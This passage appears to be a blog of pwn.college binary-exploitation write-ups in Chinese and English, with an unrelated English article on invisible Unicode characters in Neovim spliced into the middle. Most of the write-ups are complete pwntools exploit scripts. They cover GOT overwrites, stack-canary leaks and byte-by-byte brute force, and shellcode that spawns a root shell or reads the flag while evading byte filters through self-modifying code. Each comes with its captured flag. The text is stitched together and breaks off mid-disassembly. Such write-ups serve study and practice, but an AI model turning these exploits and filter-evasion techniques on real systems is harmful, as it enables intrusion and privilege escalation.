p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{YHBFpvTU6V94JGyRaW-ZtWT0Zlv.QX2gzN4EDL4cjM1gzW}

Now You GOT It (Hard)

Leverage an Array to obtain the flag.

Analysis

Hard 版的关键变化是,不能像 Easy 那样直接把 puts@GOT 指到 win 入口,否则 win 自己内部先调用 puts,马上递归爆炸。

解法:offset jump (偏移跳转)

看看 win 函数开头:

1
2
3
4
5
6
0x00001e84      f30f1efa       endbr64
0x00001e88 55 push RBP
0x00001e89 4889e5 mov RBP, RSP
0x00001e8c 488d3d7511.. lea RDI, str.You_win__Here_is_your_flag:
0x00001e93 e878f2ffff call sym.imp.puts <-- 死循环点
0x00001e98 be00000000 mov esi, 0 <-- 我们从这里开始!

如果我们把 puts@GOT 覆盖为 win_addr + 0x14 (即 0x1e98),就能绕过死循环。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-hard")
p = process("/challenge/now-you-got-it-hard")

# array starts at 0x5dd0 relative
index = (elf.got["puts"] - 0x5dd0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16) + 0x14

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{4R4AKNBLpYoKyJi6oIUwiWfpZI5.QX3gzN4EDL4cjM1gzW}

Loop Lunacy (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time in a PIE binary with a stack canary.

Analysis

这一题的重点不是直接越过 canary,而是改写循环计数变量 n,让后续单字节写入直接跳到 canary 后面。

1
2
3
while (n < size) {
n += read(0, input + n, 1);
}
  • buf -> 0x7fff2243c7e0
  • n -> 0x7fff2243c83c (offset 92)
  • return address -> 0x7fff2243c858 (offset 120)

我们覆盖 n 为 119,下一次 read 就会写入到 input + 120,即 return address 的位置。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# padding to n
payload = b"A" * 92 + p8(119) + p16(0x1CF9) # target win_authed check skip

p = process("/challenge/loop-lunacy-easy")
p.sendline(b"122")
p.sendline(payload)
p.interactive()
pwn.college{cTAXWFaqIFSJDGH8jZMVtQUXTPF.0VNwMDL4cjM1gzW}

Loop Lunacy (Hard)

Analysis

Hard 版还是同样的单字节循环写入,只是局部变量布局稍微绕一点。

  • buf -> RBP - 0x40 (64 bytes)
  • n -> RBP - 0x58
  • buf to n offset = 48 bytes
  • target win_authed offset -> 0x1481

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# overwrite n to point to return address
payload = b"A" * 48 + p8(64 + 8 - 1) + p16(0x1481)

while True:
p = process("/challenge/loop-lunacy-hard")
p.sendline(b"74")
p.sendline(payload)
a = p.recvall(timeout=1)
if b"pwn.college{" in a:
print(a.decode(errors="ignore"))
break
pwn.college{AYNJAU4YM4hhzf7JinEkwYZfMVn.0lNwMDL4cjM1gzW}

Nosy Neighbor (Easy)

Overflow a buffer and leak the flag.

Analysis

这一题是典型的字符串越界泄露。printf("%s") 会一直打印到遇见 \x00 为止。

  • buf -> 0x7ffcec871790
  • flag -> 0x7ffcec8717f1
  • offset -> 97 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-easy")
p.sendline(b"97")
p.send(b"A" * 97)
p.interactive()
pwn.college{Me-6tE1p3dFRGXTXtpMORPj5b_W.01NwMDL4cjM1gzW}

Nosy Neighbor (Hard)

Analysis

Hard 版也是同一类 bug,输入是从 path 开始写,真正的可打印缓冲区在 path + 0x6d

  • offset -> 0x6d -> 109

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-hard")
p.sendline(b"109")
p.send(b"A" * 109)
p.interactive()
pwn.college{EtNjf_nSDtmYIx3VjpoxbpZVdLa.0FOwMDL4cjM1gzW}

Recursive Ruin (Easy)

Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.

Analysis

这题利用 recursive backdoor。第一次输入泄露 canary 并让同一个进程再次进入 challenge(),复用同一个 canary。

  1. 第一发 Payload (Information Leak): 覆盖 canary 的最低字节 (\x00),利用 printf 泄露剩余 7 字节。加入 "REPEAT" 触发递归。
  2. 第二发 Payload (Control Flow Hijack): 在第二层 challenge() 中,利用泄露的 canary 构造 payload 绕过检查。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"154")
payload2 = b"A" * 136 + canary + b"B" * 8 + b"\xb3\x83"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{sISl_MjbdZ-M6Xu-jeMXu-Gxj89.0VMxMDL4cjM1gzW}

Recursive Ruin (Hard)

Analysis

Hard 版同样是两阶段利用。区别只是缓冲区更小,偏移更短。

  • buf -> RBP - 0x20
  • canary -> RBP - 8
  • buf to canary offset = 24 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-hard")
try:
p.sendlineafter(b"Payload size:", b"25")
payload1 = b"REPEAT".ljust(24, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(25)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"42")
payload2 = b"A" * 24 + canary + b"B" * 8 + b"\x6b\x1c"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{…}

Lingering Leftover (Easy)

Leak data left behind unintentionally by utilizing clever payload construction.

Analysis

这一题不是主动泄露,而是栈残留 (stack residual)。程序前面读过 flag,虽然没有再打印 flag buffer,但残留内容还躺在栈上。

  • buf -> 0x7ffc740163f0
  • flag at 0x7ffc7401646a
  • distance -> 122 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-easy")
p.sendline(b"122")
p.send(b"A" * 122)
p.interactive()
pwn.college{Ip-rheFTFOTZw6iCFe4JX-YqSUV29vW.01MxMDL4cjM1gzW}

Lingering Leftover (Hard)

Analysis

Hard 版也是同一个思路,从函数之间的栈复用关系里确认 flag 的位置。

  • buf -> RBP - 0x200
  • flag read to RBP - 0x160 + 0x56
  • distance = 0x200 - 0x160 + 0x56 = 246 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-hard")
p.sendline(b"246")
p.send(b"A" * 246)
p.interactive()
pwn.college{UOnuy5KfSK49QeGSt2X8WSjScbk.0FNxMDL4cjM1gzW}

Latent Leak (Easy)

Leak data left behind unintentionally to defeat a stack canary in a PIE binary.

Analysis

利用未初始化栈内容去捞一份 canary 副本。

  • buf -> 0x7ffd91a01960
  • canary copy at 0x7ffd91a019e8
  • distance = 136 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"426")
payload2 = b"A" * 408 + canary + b"B" * 8 + b"\xd4\x1f"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{USkSWFY_9ZoRpm_X4bbinvVet1i.0VNxMDL4cjM1gzW}

Latent Leak (Hard)

Analysis

Hard 版需定位 canary copy 在栈上的位置。

  • buf -> var_170h
  • canary copy at RBP - 0x118
  • distance = 88 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-hard")
try:
p.sendlineafter(b"Payload size:", b"89")
payload1 = b"REPEAT".ljust(88, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(89)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"378")
payload2 = b"A" * 360 + canary + b"B" * 8 + b"\x3a\x18"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{4Tl0_0M2VD2swhMKrBqyJ-NmVRB.0lNxMDL4cjM1gzW}

Fork Foolery (Easy)

Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.

Analysis

fork 出来的子进程会继承父进程的 canary。我们可以通过逐字节爆破 (byte-by-byte brute-force) 来获取 canary。

  • buf to canary offset = 120 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x289 + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{AkjeEdJtTF04io9yqVyjy88wkvF.01NxMDL4cjM1gzW}

Fork Foolery (Hard)

Analysis

Hard 版同样是 fork server 爆破。

  • buf to canary offset = 120 bytes
  • target win_authed offset = 0x9db

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x9db + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{wQr_iWOgYTj48UrRNGXxYBBRJow.0FOxMDL4cjM1gzW}

Ever copy-pasted a code snippet from a browser (Gemini) into Neovim, only to see a strange + or a highlighted <U+00A0>? Why does your Python script throw a SyntaxError on a line that looks perfectly fine?

The answer lies in the “invisible” world of Unicode control characters. These characters were designed for typography, but they have become a nightmare for modern programmers.

1. The Most Common Culprit: NBSP (U+00A0)

U+00A0 (Non-Breaking Space) wasn’t invented to annoy programmers. In the world of Typography, it serves a very legitimate purpose.

Core Origin: Prevent Line Wrapping

In traditional word processing and browser rendering, a standard space (U+0020) is a “soft” break point. When a line is full, the system wraps the text at the space.

However, some word pairs should never be separated. NBSP tells the rendering engine: “These two words are bound together. If you can’t fit them both, move the entire block to the next line.

Proper Use Cases

  • Values & Units: 100 kg or 500 MHz. You don’t want 100 at the end of a line and kg at the start of the next.
  • Names & Titles: Mr. Anderson or Dr. Freeman.
  • Language Specifics: In French typography, characters like : or ! must be preceded by a space. To prevent the punctuation from being isolated on a new line, NBSP is used.

Why It’s a Coding Nightmare

Web developers and WYSIWYG editors (like Microsoft Word) often abuse &nbsp; to force indentation or spacing. Because browsers “collapse” multiple standard spaces (U+0020) into one, people use NBSP to create “hard” whitespace.

When you copy code from these sources, U+00A0 is carried over into your terminal. Python, Bash, and C are rigorous: they only recognize U+0020 as a valid syntax separator. Anything else is an “invalid character.”

2. Visualizing and Fixing NBSP in Neovim

If you use Neovim, you can expose these hidden characters by setting listchars.

Configuration (init.lua)

1
2
3
4
5
6
7
8
9
vim.opt.list = true -- Enable list mode to show invisible characters

vim.opt.listchars = {
nbsp = '☠', -- Highlight U+00A0 as a skull (or '✗', '⍽')
trail = '·', -- Show trailing spaces
tab = '▸ ', -- Make Tabs visible
extends = '❯', -- Show wrap indicators
precedes = '❮',
}

The Quick Fix

To substitute all NBSP characters with normal spaces in the current buffer:

1
:%s/\%u00a0/ /g

3. The Hidden Menace: Zero-Width Characters (U+200B - U+200F)

If NBSP is a nuisance, Zero-Width Characters are the “shadow realm” of Unicode. These characters are completely invisible in most GUI editors but occupy bytes in your file.

Common Variants

  • <U+200B> Zero Width Space (ZWSP): A “potential” break point for long URLs or languages without natural spaces (like Thai).
  • <U+200C> Zero Width Non-Joiner (ZWNJ): Prevents characters from forming a ligature (e.g., stopping f and i from becoming ).
  • <U+200D> Zero Width Joiner (ZWJ): The “stitcher.” It combines multiple characters into one.
    • Emoji Magic: A “Woman Astronaut” (👩‍🚀) is actually Woman (👩) + ZWJ + Rocket (🚀).
    • Family: 👨‍👩‍👧‍👦 is a chain of 4 emojis connected by 3 ZWJs.
  • <U+200E> (LRM) & <U+200F> (RLM): Used to control Left-to-Right and Right-to-Left text direction in bi-directional (Bidi) text.

4. Why They Are Dangerous (The Invisible Threat)

  1. Syntax Error Hell: You copy a Python script, and it fails with SyntaxError: invalid character in identifier. The error is “invisible” because the zero-width character is hidden inside a variable name.
  2. Security (Homoglyph Attacks): Attackers can create two identical-looking URLs. github.com and github.com (with a hidden <U+200B>) can lead you to a phishing site.
  3. Invisible Fingerprinting: Some companies use combinations of zero-width characters to encode a “hidden watermark” or employee ID in sensitive documents. If you leak the text, they can extract the ID from the invisible characters.

5. The Neovim Purge: Clean Your Code

Neovim’s listchars will often render these as hex codes like <U+200B> if they aren’t explicitly handled, making them easy to spot.

To wipe your file of all zero-width “garbage” from U+200B to U+200F:

1
:%s/[\%u200B-\%u200F]//g

This regex matches the entire range of common zero-width control characters and deletes them instantly.

Conclusion

In the UNIX philosophy, content and presentation are separate. Relying on invisible characters to control layout is “soulless.” As a power user, your code should be clean, visible, and free of typography-bloat.

Keep your listchars on, and never trust a copy-paste from a browser blindly.

ello ackersl!

Write and execute shellcode to read the flag, but your inputted data is filtered before execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
###
### Welcome to /challenge/ello-ackers!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x29e93000!
Reading 0x1000 bytes from stdin.

Executing filter...

This challenge requires that your shellcode have no H bytes!

Failed filter at byte 2048!

在 ASCII 码中,H 的十六进制是 0x48。 在 x86-64 架构的机器码中,0x48REX.W 前缀。任何对 64 位寄存器(如 rax, rdi, rsi)进行操作的指令,汇编器基本都会给它加上 0x48 前缀。

比如:

  • mov rax, 0x3b -> 48 c7 c0 3b 00 00 00
  • add rdi, 8 -> 48 83 c7 08

x86-64 架构有一个特性:对 32 位寄存器(如 eax, edi)进行操作时,CPU 会自动将该寄存器的高 32 位清零,并且不需要 REX.W 前缀。所以,mov eax, 2 对应的机器码是 b8 02 00 00 00

Method 1: Get root shell (setuid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/ello-ackers"

# get root shell(setuid)
shellcode_asm = """
.global _start
_start:
.intel_syntax noprefix
xor edi, edi
push 105
pop rax
syscall

xor esi, esi
push rsi
push rsi
push rsp
pop rdi

mov dword ptr [rdi], 0x6e69622f
mov dword ptr [rdi+4], 0x68732f2f

push 59
pop rax

xor edx, edx
syscall
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x48" in payload:
log.error("detected 0x48 bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()

Method 2: Read flag directly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/ello-ackers"

shellcode_asm = """
.global _start
_start:
.intel_syntax noprefix
xor esi, esi
push rsi
push rsp
pop rdi

mov dword ptr [rdi], 0x616c662f
mov byte ptr [rdi+4], 0x67
push 2
pop rax
syscall

xchg eax, edi
push rsp
pop rsi
mov dl, 100
xor eax, eax
syscall

xchg eax, edx
push 1
pop rdi
push 1
pop rax
syscall
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x48" in payload:
log.error("detected 0x48 bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{ogTy4tQHj3UmVxXesBT0tLjIPBx.0FMyIDL4cjM1gzW}

Syscall Smuggler

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), can you defeat this?

1
2
3
4
5
6
7
8
9
10
11
hacker@program-security~syscall-smuggler:~$ /challenge/syscall-smuggler ###
### Welcome to /challenge/syscall-smuggler!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x1a467000!
Reading 0x1000 bytes from stdin.

Solution: SMC (Self-Modifying Code)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/syscall-smuggler"

shellcode_asm = """
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
push 2
pop rax
mov rdi, rsp
xor esi, esi
inc byte ptr [rip + patch_target1 + 1]
patch_target1:
.byte 0x0f
.byte 0x04

mov r10d, 0x7fffffff
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
inc byte ptr [rip + patch_target + 1]
patch_target:
.byte 0x0f
.byte 0x04
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x0f05" in payload:
log.error("detected syscall bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{sxAngc7P16UniMHkxwySW6LiF3L.0VMyIDL4cjM1gzW}

Syscall Shenanigans

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), this challenge adds an extra layer of difficulty!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
hacker@program-security~syscall-shenanigans:~$ /challenge/syscall-shenanigans
###
### Welcome to /challenge/syscall-shenanigans!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x2000 bytes for shellcode at 0x229dc000!
Reading 0x2000 bytes from stdin.

This challenge requires that your shellcode does not have any `syscall`, 'sysenter', or `int` instructions. System calls
are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05
(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to
insert the `syscall` instructions at runtime.

Removing write permissions from first 4096 bytes of shellcode. !!!!!!!!!!!!!!!!!

This challenge is about to execute the following shellcode:

Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x00000000229dc000 | 48 b8 01 01 01 01 01 01 01 01 | movabs rax, 0x101010101010101
0x00000000229dc00a | 50 | push rax
0x00000000229dc00b | 48 b8 2e 67 6d 60 66 01 01 01 | movabs rax, 0x1010166606d672e
0x00000000229dc015 | 48 31 04 24 | xor qword ptr [rsp], rax
0x00000000229dc019 | 6a 02 | push 2
0x00000000229dc01b | 58 | pop rax
0x00000000229dc01c | 48 89 e7 | mov rdi, rsp
0x00000000229dc01f | 31 f6 | xor esi, esi
0x00000000229dc021 | fe 05 01 00 00 00 | inc byte ptr [rip + 1]

Executing shellcode!

[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/syscall-shenanigans"

shellcode_asm = """
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
push 2
pop rax
mov rdi, rsp
xor esi, esi
inc byte ptr [rip + patch_target1 + 1]
patch_target1:
.byte 0x0f
.byte 0x04

mov r10d, 0x7fffffff
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
inc byte ptr [rip + patch_target + 1]
patch_target:
.byte 0x0f
.byte 0x04
"""

payload = b"\x90" * 4096

payload += asm(shellcode_asm)

# log.info(f"Payload len: {len(payload)} bytes")
# log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x0f05" in payload:
log.error("detected syscall bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{sgSXh_BFf5M_15STVO05hkTbwud.0lMyIDL4cjM1gzW}

Byte Budget

Write and execute shellcode to read the flag, but you only get 18 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hacker@program-security~byte-budget:~$ /challenge/byte-budget
###
### Welcome to /challenge/byte-budget!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x14f5f000!
Reading 0x12 bytes from stdin.

Removing write permissions from first 4096 bytes of shellcode.

Disassembly analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
r2 -A -q -c "pdf @ sym.main" /challenge/byte-budget

; ICOD XREF from entry0 @ 0x1241(r)
┌ 727: int main (int argc, char **argv, char **envp);
│ `- args(rdi, rsi, rdx) vars(6:sp[0x10..0x40])
│ 0x00001567 f30f1efa endbr64
│ 0x0000156b 55 push rbp
│ 0x0000156c 4889e5 mov rbp, rsp
│ 0x0000156f 4883ec40 sub rsp, 0x40
│ 0x00001573 897ddc mov dword [var_24h], edi ; argc
│ 0x00001576 488975d0 mov qword [var_30h], rsi ; argv
│ 0x0000157a 488955c8 mov qword [var_38h], rdx ; envp
│ 0x0000157e 488b059b2a.. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x4020:8]=0
│ 0x00001585 b900000000 mov ecx, 0 ; size_t size
│ 0x0000158a ba02000000 mov edx, 2 ; int mode
│ 0x0000158f be00000000 mov esi, 0 ; char *buf
│ 0x00001594 4889c7 mov rdi, rax ; FILE*stream
│ 0x00001597 e844fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0000159c 488b056d2a.. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x4010:8]=0
│ 0x000015a3 b900000000 mov ecx, 0 ; size_t size
│ 0x000015a8 ba02000000 mov edx, 2 ; int mode
│ 0x000015ad be00000000 mov esi, 0 ; char *buf
│ 0x000015b2 4889c7 mov rdi, rax ; FILE*stream
│ 0x000015b5 e826fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x000015ba 488d3d040c.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015c1 e87afbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015c6 488b45d0 mov rax, qword [var_30h]
│ 0x000015ca 488b00 mov rax, qword [rax]
│ 0x000015cd 4889c6 mov rsi, rax
│ 0x000015d0 488d3df20b.. lea rdi, str._Welcome_to__s__n ; 0x21c9 ; "### Welcome to %s!\n" ; const char *format
│ 0x000015d7 b800000000 mov eax, 0
│ 0x000015dc e89ffbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015e1 488d3ddd0b.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015e8 e853fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015ed bf0a000000 mov edi, 0xa ; int c
│ 0x000015f2 e839fbffff call sym.imp.putchar ; int putchar(int c)
│ 0x000015f7 488d3de20b.. lea rdi, str.This_challenge_reads_in_some_bytes__modifies_them__depending_on_the_specific_challenge_configuration___and_executes_them ; 0x21e0 ; "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ; const char *s
│ 0x000015fe e83dfbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001603 488d3d560c.. lea rdi, str.as_code__This_is_a_common_exploitation_scenario__called__code_injection_._Through_this_series_of_challenges__you_will ; 0x2260 ; "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ; const char *s
│ 0x0000160a e831fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000160f 488d3dc20c.. lea rdi, str.practice_your_shellcode_writing_skills_under_various_constraints__To_ensure_that_you_are_shellcoding__rather_than_doing ; 0x22d8 ; "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ; const char *s
│ 0x00001616 e825fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000161b 488d3d2e0d.. lea rdi, str.other_tricks__this_will_sanitize_all_environment_variables_and_arguments_and_close_all_file_descriptors___2._n ; 0x2350 ; "other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ; const char *s
│ 0x00001622 e819fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001627 c745ec0300.. mov dword [fildes], 3
│ ┌─< 0x0000162e eb0e jmp 0x163e
│ │ ; CODE XREF from main @ 0x1645(x)
│ ┌──> 0x00001630 8b45ec mov eax, dword [fildes]
│ ╎│ 0x00001633 89c7 mov edi, eax ; int fildes
│ ╎│ 0x00001635 e876fbffff call sym.imp.close ; int close(int fildes)
│ ╎│ 0x0000163a 8345ec01 add dword [fildes], 1
